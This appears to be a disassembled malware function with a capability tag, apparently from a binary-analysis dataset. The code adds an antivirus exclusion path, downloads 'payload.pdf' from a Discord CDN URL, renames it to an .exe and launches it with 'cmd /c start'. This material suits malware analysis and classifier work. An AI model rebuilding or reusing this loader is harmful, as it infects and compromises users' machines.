Function at 0x40186d
Capabilities:
Move file

Disassembly:
lea ecx, [esp + 4]
and esp, 0xfffffff0
push dword [ecx - 4]
push ebp
mov ebp, esp
push ebx
push ecx
add esp, 0xffffff80
call sym.___main
mov byte [ebp - 9], 0
mov byte [ebp - 0xa], 1
cmp byte [ebp - 9], 0
jne 0x4018db
call sym.AddExclusionPath__
mov byte [ebp - 9], al
movzx eax, byte [ebp - 9]
xor eax, 1
test al, al
je 0x40188c
mov dword [esp + 4], str.Failed_to_add_exclusion_path.
mov dword [esp], 0x4a3a00
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
mov dword [esp], 0x7d0
call sym._Sleep_4
sub esp, 4
jmp 0x40188c
mov dword [ebp - 0x10], str.https:__cdn.discordapp.com_attachments_967844640436912199_1177226865958719549_payload.pdf_ex6571bcf4is655f47f4hm6bb855797307d638d1c8e7ff025b55a84893acc0f4bacdf63ec59beb62c3628a
lea eax, [ebp - 0x40]
mov edx, dword [ebp - 0x10]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.DownloadFile_abi:cxx11__wchar_t_const_
lea eax, [ebp - 0x40]
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.empty___const
xor eax, 1
test al, al
je 0x401a27
lea eax, [ebp - 0x40]
mov dword [esp + 4], 0xffffffff
mov dword [esp], 0x4a431a
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.find_last_of_wchar_t_const__unsigned_int__const
sub esp, 8
mov edx, eax
lea eax, [ebp - 0x28]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
lea edx, [ebp - 0x40]
mov dword [esp], edx
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.substr_unsigned_int__unsigned_int__const
sub esp, 0xc
lea eax, [ebp - 0x58]
mov dword [esp + 8], str..exe
lea edx, [ebp - 0x28]
mov dword [esp + 4], edx
mov dword [esp], eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t_____wchar_t_const_
lea eax, [ebp - 0x28]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
lea eax, [ebp - 0x58]
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov ebx, eax
lea eax, [ebp - 0x40]
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov dword [esp + 8], 3
mov dword [esp + 4], ebx
mov dword [esp], eax
call sym._MoveFileExW_12
sub esp, 0xc
test eax, eax
setne al
test al, al
je 0x4019f6
lea eax, [ebp - 0x70]
lea edx, [ebp - 0x58]
mov dword [esp + 8], edx
mov dword [esp + 4], str.cmd__c_start
mov dword [esp], eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t____std::operator_wchar_t__std::char_traits_wchar_t___std.allocator_wchar_t____wchar_t_const__std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std:
cmp byte [ebp - 0xa], 0
je 0x4019d8
lea eax, [ebp - 0x70]
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov dword [esp], eax
call sym.RunCommand_wchar_t_const_
mov byte [ebp - 0xa], 0
jmp 0x4019ea
lea eax, [ebp - 0x70]
mov ecx, eax
call method.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___.c_str___const
mov dword [esp], eax
call sym.RunCommand_wchar_t_const_
lea eax, [ebp - 0x70]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x401a1b
mov dword [esp + 4], str.Failed_to_rename_the_file.
mov dword [esp], 0x4a3a00
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
lea eax, [ebp - 0x58]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
jmp 0x401a4c
mov dword [esp + 4], str.Failed_to_download_the_file.
mov dword [esp], 0x4a3a00
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::operator____wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t_____wchar_t_const_
mov dword [esp], method.std::basic_ostream_wchar_t__std::char_traits_wchar_t____std::endl_wchar_t__std.char_traits_wchar_t____std::basic_ostream_wchar_t__std::char_traits_wchar_t____
mov ecx, eax
call method.std::basic_ostream_wchar_t__std::char_traits_wchar_t___.operator___std::basic_ostream_wchar_t__std::char_traits_wchar_t_______std::basic_ostream_wchar_t__std::char_traits_wchar_t_____
sub esp, 4
mov ebx, 0
lea eax, [ebp - 0x40]
mov ecx, eax
call sym.std::__cxx11::basic_string_wchar_t__std::char_traits_wchar_t___std::allocator_wchar_t___::basic_string__
mov eax, ebx
jmp 0x401a9f
lea esp, [ebp - 8]
pop ecx
pop ebx
pop ebp
lea esp, [ecx - 4]
ret